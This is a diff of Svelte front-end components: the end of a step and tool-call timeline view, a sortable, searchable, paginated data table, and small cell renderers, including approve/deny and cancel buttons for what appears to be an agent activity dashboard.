{@const st = item.step.status}
|
||||
{@const open = stepOpen(item.step)}
|
||||
{@const hasDetail = !!item.step.detail?.trim()}
|
||||
{@const expandable = item.tools.length > 0 || hasDetail}
|
||||
{@const expandedWithTools = open && item.tools.length > 0}
|
||||
<!-- Step node on the backbone -->
|
||||
<div class="relative" data-tl-id={item.step.id}>
|
||||
<span
|
||||
class="pointer-events-none absolute left-[17px] w-px {segClass(
|
||||
st,
|
||||
isFirst,
|
||||
isLast,
|
||||
expandedWithTools
|
||||
)}"
|
||||
aria-hidden="true"
|
||||
></span>
|
||||
<button
|
||||
type="button"
|
||||
class="relative flex w-full items-center gap-2 rounded px-3 py-1.5 text-left text-xs {expandable
|
||||
? 'cursor-pointer hover:bg-muted/30'
|
||||
: 'cursor-default'} {st === 'running' ? 'bg-primary/5' : ''}"
|
||||
onclick={() => expandable && toggleStep(item.step)}
|
||||
aria-expanded={open}
|
||||
disabled={!expandable}
|
||||
>
|
||||
<!-- Filled status node -->
|
||||
<span
|
||||
class="relative z-10 flex size-3.5 shrink-0 items-center justify-center rounded-full
|
||||
{st === 'done'
|
||||
? 'bg-primary'
|
||||
: st === 'running'
|
||||
? 'bg-background'
|
||||
: st === 'failed'
|
||||
? 'bg-destructive'
|
||||
: st === 'blocked'
|
||||
? 'bg-warning/25 border border-warning'
|
||||
: st === 'skipped' || st === 'replaced'
|
||||
? 'bg-muted'
|
||||
: 'bg-background border border-muted-foreground/40'}"
|
||||
>
|
||||
{#if st === 'running'}
|
||||
<span class="absolute -inset-0.5 animate-ping rounded-full bg-primary/30"
|
||||
></span>
|
||||
<Spinner class="relative size-3.5 text-primary" />
|
||||
{:else if st === 'done'}
|
||||
<CheckIcon class="size-2.5 text-primary-foreground" strokeWidth={3.5} />
|
||||
{:else if st === 'failed'}
|
||||
<XIcon class="size-2.5 text-destructive-foreground" strokeWidth={3.5} />
|
||||
{:else if st === 'blocked'}
|
||||
<PauseIcon class="size-2 text-warning" strokeWidth={3} />
|
||||
{:else if st === 'skipped' || st === 'replaced'}
|
||||
<SlashIcon class="size-2 text-muted-foreground" strokeWidth={3} />
|
||||
{/if}
|
||||
</span>
|
||||
<span
|
||||
title={item.step.title}
|
||||
class="min-w-0 flex-1 leading-snug {open
|
||||
? 'whitespace-normal'
|
||||
: 'truncate'} {st === 'done'
|
||||
? 'text-muted-foreground'
|
||||
: st === 'running'
|
||||
? 'font-medium text-foreground'
|
||||
: 'text-muted-foreground'}"
|
||||
>
|
||||
{item.step.title}
|
||||
</span>
|
||||
{#if hhmm(item.ts)}
|
||||
<span class="shrink-0 text-[9px] tabular-nums text-muted-foreground/60"
|
||||
>{hhmm(item.ts)}</span
|
||||
>
|
||||
{/if}
|
||||
{#if item.tools.length > 0}
|
||||
<span class="shrink-0 text-muted-foreground/60">
|
||||
{#if open}<ChevronDownIcon class="size-3" />{:else}<ChevronRightIcon
|
||||
class="size-3"
|
||||
/>{/if}
|
||||
</span>
|
||||
{/if}
|
||||
</button>
|
||||
|
||||
{#if expandedWithTools}
|
||||
<div transition:slide={{ duration: 150 }} class="flex flex-col">
|
||||
{#each item.tools as tool (tool.id)}
|
||||
{@const tOpen = expandedTools.has(tool.id)}
|
||||
<div class="relative" data-tl-id={tool.id}>
|
||||
<!-- Branch stub: backbone → tool -->
|
||||
<span
|
||||
class="pointer-events-none absolute left-[17px] top-[9.5px] h-px w-[17px] {tool.status ===
|
||||
'failed'
|
||||
? 'bg-destructive/40'
|
||||
: 'bg-border'}"
|
||||
aria-hidden="true"
|
||||
></span>
|
||||
<button
|
||||
type="button"
|
||||
class="flex w-full items-center gap-1.5 py-1 pl-9 pr-3 text-left text-[11px] {tool.args ||
|
||||
tool.detail
|
||||
? 'cursor-pointer hover:bg-muted/20'
|
||||
: 'cursor-default'}"
|
||||
onclick={() => (tool.args || tool.detail) && toggleTool(tool.id)}
|
||||
>
|
||||
<span class="flex size-3 shrink-0 items-center justify-center">
|
||||
{#if tool.status === 'running'}
|
||||
<Spinner class="size-2.5 text-primary" />
|
||||
{:else if tool.status === 'failed'}
|
||||
<XIcon class="size-2.5 text-destructive" strokeWidth={3.5} />
|
||||
{:else}
|
||||
<CheckIcon class="size-2.5 text-primary/70" strokeWidth={3.5} />
|
||||
{/if}
|
||||
</span>
|
||||
<span
|
||||
title={tool.description}
|
||||
class="min-w-0 flex-1 truncate leading-snug {tool.status === 'done'
|
||||
? 'text-muted-foreground'
|
||||
: tool.status === 'failed'
|
||||
? 'text-destructive'
|
||||
: 'text-foreground/80'}"
|
||||
>
|
||||
{tool.description}
|
||||
</span>
|
||||
<span class="shrink-0 text-[9px] tabular-nums text-muted-foreground/50"
|
||||
>{hhmm(tool.timestamp)}</span
|
||||
>
|
||||
</button>
|
||||
{#if tOpen}
|
||||
<div
|
||||
transition:slide={{ duration: 120 }}
|
||||
class="flex flex-col gap-1 pb-1.5 pl-[52px] pr-3"
|
||||
>
|
||||
<div
|
||||
class="flex items-center gap-1.5 text-[9px] text-muted-foreground/70"
|
||||
>
|
||||
<span class="capitalize">{tool.status}</span>
|
||||
<span aria-hidden="true">·</span>
|
||||
<span>{hhmmss(tool.timestamp)}</span>
|
||||
{#if tool.toolName}<span aria-hidden="true">·</span><code
|
||||
class="font-mono">{tool.toolName}</code
|
||||
>{/if}
|
||||
</div>
|
||||
{#if tool.args}
|
||||
<pre
|
||||
class="max-h-36 overflow-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-1.5 font-mono text-[9px] leading-relaxed text-muted-foreground">{prettyPrint(
|
||||
tool.args
|
||||
)}</pre>
|
||||
{/if}
|
||||
{#if tool.detail}
|
||||
<pre
|
||||
class="max-h-36 overflow-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-1.5 font-mono text-[9px] leading-relaxed {tool.status ===
|
||||
'failed'
|
||||
? 'text-destructive'
|
||||
: 'text-muted-foreground'}">{prettyPrint(tool.detail)}</pre>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/each}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{:else}
|
||||
<!-- Flat entry: milestone marker on the backbone -->
|
||||
{@const e = item.entry}
|
||||
{@const Icon = entryIcon(e)}
|
||||
{@const eOpen = expandedTools.has(e.id)}
|
||||
<div class="relative" data-tl-id={e.id}>
|
||||
<span
|
||||
class="pointer-events-none absolute left-[17px] w-px {segClass(
|
||||
e.status,
|
||||
isFirst,
|
||||
isLast,
|
||||
false
|
||||
)}"
|
||||
aria-hidden="true"
|
||||
></span>
|
||||
<button
|
||||
type="button"
|
||||
class="flex w-full items-center gap-2 px-3 py-1.5 text-left text-[11px] {e.args ||
|
||||
e.detail
|
||||
? 'cursor-pointer hover:bg-muted/30'
|
||||
: 'cursor-default'}"
|
||||
onclick={() => (e.args || e.detail) && toggleTool(e.id)}
|
||||
>
|
||||
<span
|
||||
class="relative z-10 flex size-3.5 shrink-0 items-center justify-center rounded-full border bg-background
|
||||
{e.status === 'failed'
|
||||
? 'border-destructive text-destructive'
|
||||
: e.status === 'running'
|
||||
? 'border-primary text-primary'
|
||||
: 'border-border text-primary'}"
|
||||
>
|
||||
{#if e.status === 'running'}
|
||||
<Spinner class="size-2.5" />
|
||||
{:else if e.status === 'failed'}
|
||||
<XIcon class="size-2" strokeWidth={3.5} />
|
||||
{:else}
|
||||
<Icon class="size-2" strokeWidth={2.5} />
|
||||
{/if}
|
||||
</span>
|
||||
<span
|
||||
title={e.description}
|
||||
class="min-w-0 flex-1 truncate leading-snug {e.status === 'done'
|
||||
? 'text-muted-foreground'
|
||||
: 'text-foreground/80'}"
|
||||
>
|
||||
{e.description}
|
||||
</span>
|
||||
<span class="shrink-0 text-[9px] tabular-nums text-muted-foreground/60"
|
||||
>{hhmm(e.timestamp)}</span
|
||||
>
|
||||
</button>
|
||||
{#if eOpen}
|
||||
<div
|
||||
transition:slide={{ duration: 120 }}
|
||||
class="flex flex-col gap-1 pb-1.5 pl-9 pr-3"
|
||||
>
|
||||
<div class="flex items-center gap-1.5 text-[9px] text-muted-foreground/70">
|
||||
<span class="capitalize">{e.status}</span>
|
||||
<span aria-hidden="true">·</span>
|
||||
<span>{hhmmss(e.timestamp)}</span>
|
||||
{#if e.toolName}<span aria-hidden="true">·</span><code class="font-mono"
|
||||
>{e.toolName}</code
|
||||
>{/if}
|
||||
</div>
|
||||
{#if e.args}
|
||||
<pre
|
||||
class="max-h-36 overflow-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-1.5 font-mono text-[9px] leading-relaxed text-muted-foreground">{prettyPrint(
|
||||
e.args
|
||||
)}</pre>
|
||||
{/if}
|
||||
{#if e.detail}
|
||||
<pre
|
||||
class="max-h-36 overflow-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-1.5 font-mono text-[9px] leading-relaxed {e.status ===
|
||||
'failed'
|
||||
? 'text-destructive'
|
||||
: 'text-muted-foreground'}">{prettyPrint(e.detail)}</pre>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
{/each}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
</div>
|
||||
242
web/src/lib/components/data-table/DataTable.svelte
Normal file
@@ -0,0 +1,242 @@
|
||||
<script lang="ts">
|
||||
import { TableHandler } from '@vincjo/datatables'
|
||||
import { Skeleton } from '$lib/components/ui/skeleton'
|
||||
import SortHeader from './SortHeader.svelte'
|
||||
import Toolbar from './Toolbar.svelte'
|
||||
import Pagination from './pagination/Pagination.svelte'
|
||||
import EmptyState from '$lib/components/EmptyState.svelte'
|
||||
import BadgeRenderer from './renderers/BadgeRenderer.svelte'
|
||||
import HealthDotRenderer from './renderers/HealthDotRenderer.svelte'
|
||||
import RelativeTimeRenderer from './renderers/RelativeTimeRenderer.svelte'
|
||||
import DateRenderer from './renderers/DateRenderer.svelte'
|
||||
import StatusBadgeRenderer from './renderers/StatusBadgeRenderer.svelte'
|
||||
import { resolveCellValue } from './columns'
|
||||
import type { DataTableColumn, BuiltinRenderer } from './types'
|
||||
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
type Row = Record<string, any>
|
||||
|
||||
const renderers: Record<string, unknown> = {
|
||||
badge: BadgeRenderer,
|
||||
'health-dot': HealthDotRenderer,
|
||||
'relative-time': RelativeTimeRenderer,
|
||||
date: DateRenderer,
|
||||
'status-badge': StatusBadgeRenderer
|
||||
}
|
||||
|
||||
let {
|
||||
columns,
|
||||
data = [],
|
||||
pageSize = 20,
|
||||
paginated = false,
|
||||
searchable = false,
|
||||
bordered = true,
|
||||
loading = false,
|
||||
emptyMessage = 'No items.',
|
||||
selected = $bindable(null),
|
||||
onRowClick = undefined,
|
||||
class: className,
|
||||
children
|
||||
}: {
|
||||
columns: DataTableColumn<Row>[]
|
||||
data: Row[]
|
||||
pageSize?: number
|
||||
paginated?: boolean
|
||||
searchable?: boolean
|
||||
bordered?: boolean
|
||||
loading?: boolean
|
||||
emptyMessage?: string
|
||||
selected?: string | null
|
||||
onRowClick?: (row: Row) => void
|
||||
class?: string
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
children?: any
|
||||
} = $props()
|
||||
|
||||
const table = new TableHandler([], { pageSize: 20 })
|
||||
|
||||
// One SortBuilder per sortable column — each tracks its own direction/isActive
|
||||
// via $derived runes internally.
|
||||
const sortBuilders = new Map<string, ReturnType<typeof table.createSort>>()
|
||||
|
||||
function getSortBuilder(col: DataTableColumn<Row>) {
|
||||
if (!sortBuilders.has(col.key)) {
|
||||
sortBuilders.set(col.key, table.createSort(col.accessor ?? col.key))
|
||||
}
|
||||
return sortBuilders.get(col.key)!
|
||||
}
|
||||
|
||||
let search = $state.raw(
|
||||
table.createSearch({
|
||||
filterFunction: (row: Row, q: string) => {
|
||||
if (!q) return true
|
||||
const lower = q.toLowerCase()
|
||||
for (const col of columns) {
|
||||
if (col.hidden) continue
|
||||
const val = String(resolveCellValue(row, col) ?? '').toLowerCase()
|
||||
if (val.includes(lower)) return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
})
|
||||
)
|
||||
|
||||
$effect(() => {
|
||||
table.setRowsPerPage(pageSize)
|
||||
})
|
||||
|
||||
$effect(() => {
|
||||
table.setRows(data)
|
||||
})
|
||||
|
||||
function handleSearch(q: string) {
|
||||
search.set(q)
|
||||
if (paginated) table.setPage(1)
|
||||
}
|
||||
|
||||
function colAlignClass(col: DataTableColumn<Row>): string {
|
||||
if (col.align === 'right') return 'text-right'
|
||||
if (col.align === 'center') return 'text-center'
|
||||
return ''
|
||||
}
|
||||
|
||||
function colTruncateClass(col: DataTableColumn<Row>): string {
|
||||
return col.truncate ? 'min-w-0 overflow-hidden text-ellipsis' : ''
|
||||
}
|
||||
|
||||
function colStyle(col: DataTableColumn<Row>): string | undefined {
|
||||
if (!col.width) return undefined
|
||||
const w = typeof col.width === 'number' ? col.width + 'px' : col.width
|
||||
return `width: ${w}; min-width: ${w}`
|
||||
}
|
||||
|
||||
const visibleCols = $derived(columns.filter((c) => !c.hidden))
|
||||
const rows = $derived(table.rows as Row[])
|
||||
|
||||
const skeletonWidths = ['w-24', 'w-20', 'w-28', 'w-16', 'w-24', 'w-20', 'w-28', 'w-16']
|
||||
</script>
|
||||
|
||||
<div class={['flex flex-col h-full min-h-0', className].filter(Boolean).join(' ')}>
|
||||
<Toolbar {table} {searchable} {paginated} onSearchChange={handleSearch} {children} />
|
||||
|
||||
<div
|
||||
class={['flex flex-col min-h-0 flex-1', bordered ? 'rounded-xl border' : '']
|
||||
.filter(Boolean)
|
||||
.join(' ')}
|
||||
>
|
||||
<table class="w-full caption-bottom text-sm table-fixed">
|
||||
<thead class="[&_tr]:border-b">
|
||||
<tr>
|
||||
{#each visibleCols as col (col.key)}
|
||||
<th
|
||||
class={[
|
||||
'text-foreground h-10 px-2 text-left align-middle font-medium whitespace-nowrap',
|
||||
'bg-card/95',
|
||||
col.headerClass,
|
||||
colAlignClass(col)
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' ')}
|
||||
style={colStyle(col)}
|
||||
>
|
||||
{#if col.sortable !== false}
|
||||
{@const sb = getSortBuilder(col)}
|
||||
<SortHeader
|
||||
label={col.header}
|
||||
sorted={sb.isActive}
|
||||
direction={sb.direction ?? 'asc'}
|
||||
onclick={() => sb.set()}
|
||||
/>
|
||||
{:else}
|
||||
{col.header}
|
||||
{/if}
|
||||
</th>
|
||||
{/each}
|
||||
</tr>
|
||||
</thead>
|
||||
</table>
|
||||
<div class="min-h-0 flex-1 overflow-y-auto">
|
||||
<table class="w-full caption-bottom text-sm table-fixed">
|
||||
<tbody class="[&_tr:last-child]:border-0">
|
||||
{#if loading}
|
||||
{#each skeletonWidths as w, i}
|
||||
<tr class="border-b transition-colors hover:bg-transparent">
|
||||
{#each visibleCols as col (col.key)}
|
||||
<td
|
||||
class={[col.class, colAlignClass(col), colTruncateClass(col)]
|
||||
.filter(Boolean)
|
||||
.join(' ')}
|
||||
style={colStyle(col)}
|
||||
>
|
||||
<Skeleton
|
||||
class="h-4 {skeletonWidths[
|
||||
(i + visibleCols.indexOf(col)) % skeletonWidths.length
|
||||
]}"
|
||||
/>
|
||||
</td>
|
||||
{/each}
|
||||
</tr>
|
||||
{/each}
|
||||
{:else if rows.length === 0}
|
||||
<EmptyState message={emptyMessage} colspan={visibleCols.length} />
|
||||
{:else}
|
||||
{#each rows as row, idx (row.id ?? row.slug ?? `row-${idx}`)}
|
||||
<tr
|
||||
class={[
|
||||
'border-b transition-colors hover:bg-muted/50',
|
||||
onRowClick ? 'cursor-pointer' : '',
|
||||
selected === (row.id ?? row.slug) ? 'bg-muted' : ''
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' ')}
|
||||
tabindex={onRowClick ? 0 : undefined}
|
||||
onclick={onRowClick ? () => onRowClick(row) : undefined}
|
||||
onkeydown={onRowClick
|
||||
? (e: KeyboardEvent) => {
|
||||
if (e.key === 'Enter' || e.key === ' ') {
|
||||
e.preventDefault()
|
||||
onRowClick(row)
|
||||
}
|
||||
}
|
||||
: undefined}
|
||||
>
|
||||
{#each visibleCols as col (col.key)}
|
||||
{@const val = resolveCellValue(row, col)}
|
||||
<td
|
||||
class={[
|
||||
'p-2 align-middle whitespace-nowrap',
|
||||
col.class,
|
||||
colAlignClass(col),
|
||||
colTruncateClass(col)
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' ')}
|
||||
style={colStyle(col)}
|
||||
>
|
||||
{#if typeof col.render === 'string'}
|
||||
{@const R = renderers[col.render]}
|
||||
{#if R}
|
||||
<!-- eslint-disable-next-line @typescript-eslint/no-explicit-any -->
|
||||
<R value={val} {row} {...col.renderProps ?? {}} />
|
||||
{:else}
|
||||
{String(val ?? '—')}
|
||||
{/if}
|
||||
{:else if typeof col.render === 'function'}
|
||||
<col.render {row} value={val} {...col.renderProps ?? {}} />
|
||||
{:else}
|
||||
{String(val ?? '—')}
|
||||
{/if}
|
||||
</td>
|
||||
{/each}
|
||||
</tr>
|
||||
{/each}
|
||||
{/if}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{#if paginated}
|
||||
<Pagination {table} />
|
||||
{/if}
|
||||
</div>
|
||||
55
web/src/lib/components/data-table/SearchInput.svelte
Normal file
@@ -0,0 +1,55 @@
|
||||
<script lang="ts">
|
||||
import { Input } from '$lib/components/ui/input'
|
||||
import SearchIcon from '@lucide/svelte/icons/search'
|
||||
import XIcon from '@lucide/svelte/icons/x'
|
||||
import { debounce } from '$lib/utils'
|
||||
|
||||
let {
|
||||
value = '',
|
||||
placeholder = 'Search...',
|
||||
class: className,
|
||||
onSearch
|
||||
}: {
|
||||
value?: string
|
||||
placeholder?: string
|
||||
class?: string
|
||||
onSearch?: (q: string) => void
|
||||
} = $props()
|
||||
|
||||
let inputVal = $state('')
|
||||
|
||||
const debouncedSearch = debounce((q: string) => {
|
||||
onSearch?.(q)
|
||||
}, 200)
|
||||
|
||||
function handleInput(e: Event) {
|
||||
const target = e.target as HTMLInputElement
|
||||
inputVal = target.value
|
||||
debouncedSearch(inputVal)
|
||||
}
|
||||
|
||||
function clear() {
|
||||
inputVal = ''
|
||||
onSearch?.('')
|
||||
}
|
||||
</script>
|
||||
|
||||
<div class={['relative', className].filter(Boolean).join(' ')}>
|
||||
<SearchIcon class="absolute left-2 top-1/2 size-4 -translate-y-1/2 text-muted-foreground" />
|
||||
<Input
|
||||
type="text"
|
||||
{placeholder}
|
||||
value={inputVal}
|
||||
oninput={handleInput}
|
||||
class="h-8 pl-8 pr-8 text-xs"
|
||||
/>
|
||||
{#if inputVal}
|
||||
<button
|
||||
type="button"
|
||||
class="absolute right-2 top-1/2 -translate-y-1/2 text-muted-foreground hover:text-foreground"
|
||||
onclick={clear}
|
||||
>
|
||||
<XIcon class="size-3" />
|
||||
</button>
|
||||
{/if}
|
||||
</div>
|
||||
30
web/src/lib/components/data-table/SortHeader.svelte
Normal file
@@ -0,0 +1,30 @@
|
||||
<script lang="ts">
|
||||
import ArrowUpIcon from '@lucide/svelte/icons/arrow-up'
|
||||
import ArrowDownIcon from '@lucide/svelte/icons/arrow-down'
|
||||
import ArrowUpDownIcon from '@lucide/svelte/icons/arrow-up-down'
|
||||
|
||||
let {
|
||||
label,
|
||||
sorted = false,
|
||||
direction = 'asc',
|
||||
onclick
|
||||
}: {
|
||||
label: string
|
||||
sorted?: boolean
|
||||
direction?: 'asc' | 'desc'
|
||||
onclick?: () => void
|
||||
} = $props()
|
||||
</script>
|
||||
|
||||
<button type="button" class="flex items-center gap-1 hover:text-foreground" {onclick}>
|
||||
{label}
|
||||
{#if sorted}
|
||||
{#if direction === 'asc'}
|
||||
<ArrowUpIcon class="size-3" />
|
||||
{:else}
|
||||
<ArrowDownIcon class="size-3" />
|
||||
{/if}
|
||||
{:else}
|
||||
<ArrowUpDownIcon class="size-3 text-muted-foreground/50" />
|
||||
{/if}
|
||||
</button>
|
||||
33
web/src/lib/components/data-table/Toolbar.svelte
Normal file
@@ -0,0 +1,33 @@
|
||||
<script lang="ts">
|
||||
import SearchInput from './SearchInput.svelte'
|
||||
import RowsPerPage from './pagination/RowsPerPage.svelte'
|
||||
import type { TableHandler } from '@vincjo/datatables'
|
||||
|
||||
let {
|
||||
table,
|
||||
searchable = false,
|
||||
paginated = false,
|
||||
onSearchChange,
|
||||
children
|
||||
}: {
|
||||
table: TableHandler<Record<string, unknown>>
|
||||
searchable?: boolean
|
||||
paginated?: boolean
|
||||
onSearchChange?: (q: string) => void
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
children?: any
|
||||
} = $props()
|
||||
</script>
|
||||
|
||||
{#if searchable || paginated || children}
|
||||
<div class="flex items-center gap-2 px-1 py-2">
|
||||
{#if searchable}
|
||||
<SearchInput placeholder="Search..." onSearch={onSearchChange} class="w-64" />
|
||||
{/if}
|
||||
<div class="flex-1"></div>
|
||||
{@render children?.()}
|
||||
{#if paginated}
|
||||
<RowsPerPage {table} />
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
9
web/src/lib/components/data-table/columns.ts
Normal file
@@ -0,0 +1,9 @@
|
||||
import type { DataTableColumn } from './types'
|
||||
|
||||
export function resolveCellValue<T>(row: T, col: DataTableColumn<T>): unknown {
|
||||
if (col.accessor) return col.accessor(row)
|
||||
if (col.key in (row as Record<string, unknown>)) {
|
||||
return (row as Record<string, unknown>)[col.key]
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
<script lang="ts">
|
||||
import { Button } from '$lib/components/ui/button'
|
||||
import type { ButtonSize } from '$lib/components/ui/button'
|
||||
|
||||
let {
|
||||
page,
|
||||
active,
|
||||
disabled = false,
|
||||
size = 'xs' as ButtonSize,
|
||||
onclick
|
||||
}: {
|
||||
page: number | string
|
||||
active?: boolean
|
||||
disabled?: boolean
|
||||
size?: ButtonSize
|
||||
onclick?: () => void
|
||||
} = $props()
|
||||
</script>
|
||||
|
||||
<Button {size} variant={active ? 'default' : 'outline'} {disabled} {onclick}>
|
||||
{String(page)}
|
||||
</Button>
|
||||
@@ -0,0 +1,42 @@
|
||||
<script lang="ts">
|
||||
import ChevronLeftIcon from '@lucide/svelte/icons/chevron-left'
|
||||
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
|
||||
import PageButton from './PageButton.svelte'
|
||||
import type { TableHandler } from '@vincjo/datatables'
|
||||
|
||||
let { table }: { table: TableHandler<Record<string, unknown>> } = $props()
|
||||
|
||||
const pages = $derived(table.pagesWithEllipsis as (number | '...')[])
|
||||
const currentPage = $derived(table.currentPage)
|
||||
const pageCount = $derived(table.pageCount)
|
||||
const rowCount = $derived(table.rowCount)
|
||||
</script>
|
||||
|
||||
{#if pageCount > 1}
|
||||
<div class="flex items-center justify-between gap-2 px-2 py-1.5">
|
||||
<span class="text-xs text-muted-foreground">{rowCount} rows</span>
|
||||
<div class="flex items-center gap-1">
|
||||
<PageButton
|
||||
page={ChevronLeftIcon}
|
||||
disabled={currentPage === 1}
|
||||
onclick={() => table.setPage('previous')}
|
||||
/>
|
||||
{#each pages as page}
|
||||
{#if page === '...'}
|
||||
<span class="px-1 text-xs text-muted-foreground">…</span>
|
||||
{:else}
|
||||
<PageButton
|
||||
{page}
|
||||
active={page === currentPage}
|
||||
onclick={() => table.setPage(page as number)}
|
||||
/>
|
||||
{/if}
|
||||
{/each}
|
||||
<PageButton
|
||||
page={ChevronRightIcon}
|
||||
disabled={currentPage === pageCount}
|
||||
onclick={() => table.setPage('next')}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
@@ -0,0 +1,29 @@
|
||||
<script lang="ts">
|
||||
import * as Select from '$lib/components/ui/select'
|
||||
import type { TableHandler } from '@vincjo/datatables'
|
||||
|
||||
let {
|
||||
table,
|
||||
class: className
|
||||
}: { table: TableHandler<Record<string, unknown>>; class?: string } = $props()
|
||||
|
||||
const options = [10, 20, 50, 100]
|
||||
let value = $state('20')
|
||||
|
||||
function handleChange(newValue: string | undefined) {
|
||||
if (!newValue) return
|
||||
value = newValue
|
||||
table.setRowsPerPage(parseInt(newValue))
|
||||
}
|
||||
</script>
|
||||
|
||||
<Select.Root type="single" {value} onValueChange={handleChange}>
|
||||
<Select.Trigger size="sm" class={className}>
|
||||
{value}
|
||||
</Select.Trigger>
|
||||
<Select.Content>
|
||||
{#each options as n}
|
||||
<Select.Item value={String(n)}>{n} / page</Select.Item>
|
||||
{/each}
|
||||
</Select.Content>
|
||||
</Select.Root>
|
||||
@@ -0,0 +1,23 @@
|
||||
<script lang="ts">
|
||||
import type { ActivityItem } from '$lib/api'
|
||||
|
||||
let { row }: { row: ActivityItem } = $props()
|
||||
|
||||
function fmtDuration(ms: number | null): string {
|
||||
if (ms == null) return '—'
|
||||
if (ms < 1000) return `${ms}ms`
|
||||
const s = Math.round(ms / 1000)
|
||||
if (s < 60) return `${s}s`
|
||||
return `${Math.floor(s / 60)}m ${s % 60}s`
|
||||
}
|
||||
</script>
|
||||
|
||||
<div>
|
||||
<div>{row.verb}</div>
|
||||
{#if row.summary}
|
||||
<div class="text-xs text-muted-foreground">{row.summary}</div>
|
||||
{/if}
|
||||
{#if row.error}
|
||||
<div class="text-xs text-destructive">{row.error}</div>
|
||||
{/if}
|
||||
</div>
|
||||
@@ -0,0 +1,22 @@
|
||||
<script lang="ts">
|
||||
import { Button } from '$lib/components/ui/button'
|
||||
import type { ActivityItem } from '$lib/api'
|
||||
|
||||
let {
|
||||
row,
|
||||
onCancel
|
||||
}: {
|
||||
row: ActivityItem
|
||||
onCancel?: (id: string) => void
|
||||
} = $props()
|
||||
|
||||
function showCancel(status: string): boolean {
|
||||
return ['pending_approval', 'approved', 'running'].includes(status)
|
||||
}
|
||||
</script>
|
||||
|
||||
<div class="flex justify-end">
|
||||
{#if showCancel(row.status)}
|
||||
<Button size="sm" variant="outline" onclick={() => onCancel?.(row.id)}>Cancel</Button>
|
||||
{/if}
|
||||
</div>
|
||||
@@ -0,0 +1,28 @@
|
||||
<script lang="ts">
|
||||
import { Button } from '$lib/components/ui/button'
|
||||
import type { Approval } from '$lib/api'
|
||||
|
||||
let {
|
||||
row,
|
||||
deciding = null,
|
||||
onApprove,
|
||||
onDeny
|
||||
}: {
|
||||
row: Approval
|
||||
deciding?: string | null
|
||||
onApprove?: (id: string) => void
|
||||
onDeny?: (id: string) => void
|
||||
} = $props()
|
||||
</script>
|
||||
|
||||
<div class="flex justify-end gap-2">
|
||||
<Button size="sm" disabled={deciding === row.id} onclick={() => onApprove?.(row.id)}
|
||||
>Approve</Button
|
||||
>
|
||||
<Button
|
||||
size="sm"
|
||||
variant="destructive"
|
||||
disabled={deciding === row.id}
|
||||
onclick={() => onDeny?.(row.id)}>Deny</Button
|
||||
>
|
||||
</div>
|
||||
@@ -0,0 +1,8 @@
|
||||
<script lang="ts">
|
||||
import { Badge, type BadgeVariant } from '$lib/components/ui/badge'
|
||||
|
||||
let { value, variant = 'outline' as BadgeVariant }: { value: unknown; variant?: BadgeVariant } =
|
||||
$props()
|
||||
</script>
|
||||
|
||||
<Badge {variant}>{String(value ?? '—')}</Badge>
|
||||
@@ -0,0 +1,14 @@
|
||||
<script lang="ts">
|
||||
let { value }: { value: unknown } = $props()
|
||||
|
||||
function format(val: unknown): string {
|
||||
if (!val) return '—'
|
||||
try {
|
||||
return new Date(String(val)).toLocaleString()
|
||||
} catch {
|
||||
return String(val)
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<span class="text-xs text-muted-foreground">{format(value)}</span>
|
||||
@@ -0,0 +1,15 @@
|
||||
<script lang="ts">
|
||||
import type { ActivityItem } from '$lib/api'
|
||||
|
||||
let { value }: { value: unknown } = $props()
|
||||
|
||||
function fmtDuration(ms: number | null): string {
|
||||
if (ms == null) return '—'
|
||||
if (ms < 1000) return `${ms}ms`
|
||||
const s = Math.round(ms / 1000)
|
||||
if (s < 60) return `${s}s`
|
||||
return `${Math.floor(s / 60)}m ${s % 60}s`
|
||||
}
|
||||
</script>
|
||||
|
||||
<span class="text-xs text-muted-foreground">{fmtDuration(value as number | null)}</span>
|
||||
@@ -0,0 +1,32 @@
|
||||
<script lang="ts">
|
||||
import { relativeTime } from '$lib/utils'
|
||||
import type { Entity } from '$lib/api'
|
||||
|
||||
let { row, value }: { row: Entity; value: unknown } = $props()
|
||||
|
||||
const dot: Record<string, string> = {
|
||||
healthy: 'bg-success',
|
||||
degraded: 'bg-warning',
|
||||
down: 'bg-destructive',
|
||||
stale: 'bg-warning/50',
|
||||
unknown: 'bg-muted-foreground/40'
|
||||
}
|
||||
|
||||
const health = $derived(row.health)
|
||||
const lastCheck = $derived(row.last_check_at)
|
||||
|
||||
const title = $derived.by(() => {
|
||||
if (!row.health) return 'not monitored'
|
||||
if (row.health === 'stale') return `stale — last checked ${relativeTime(row.last_check_at)}`
|
||||
return `${row.health} — checked ${relativeTime(row.last_check_at)}`
|
||||
})
|
||||
</script>
|
||||
|
||||
{#if health}
|
||||
<span class="flex items-center gap-1.5 text-xs" {title}>
|
||||
<span class="size-2 shrink-0 rounded-full {dot[row.health ?? ''] ?? ''}"></span>
|
||||
<span class="text-muted-foreground">{relativeTime(lastCheck)}</span>
|
||||
</span>
|
||||
{:else}
|
||||
<span class="text-xs text-muted-foreground">—</span>
|
||||
{/if}
|
||||
@@ -0,0 +1,7 @@
|
||||
<script lang="ts">
|
||||
import { relativeTime } from '$lib/utils'
|
||||
|
||||
let { value }: { value: unknown } = $props()
|
||||
</script>
|
||||
|
||||
<span class="text-xs text-muted-foreground">{relativeTime(String(value ?? ''))}</span>
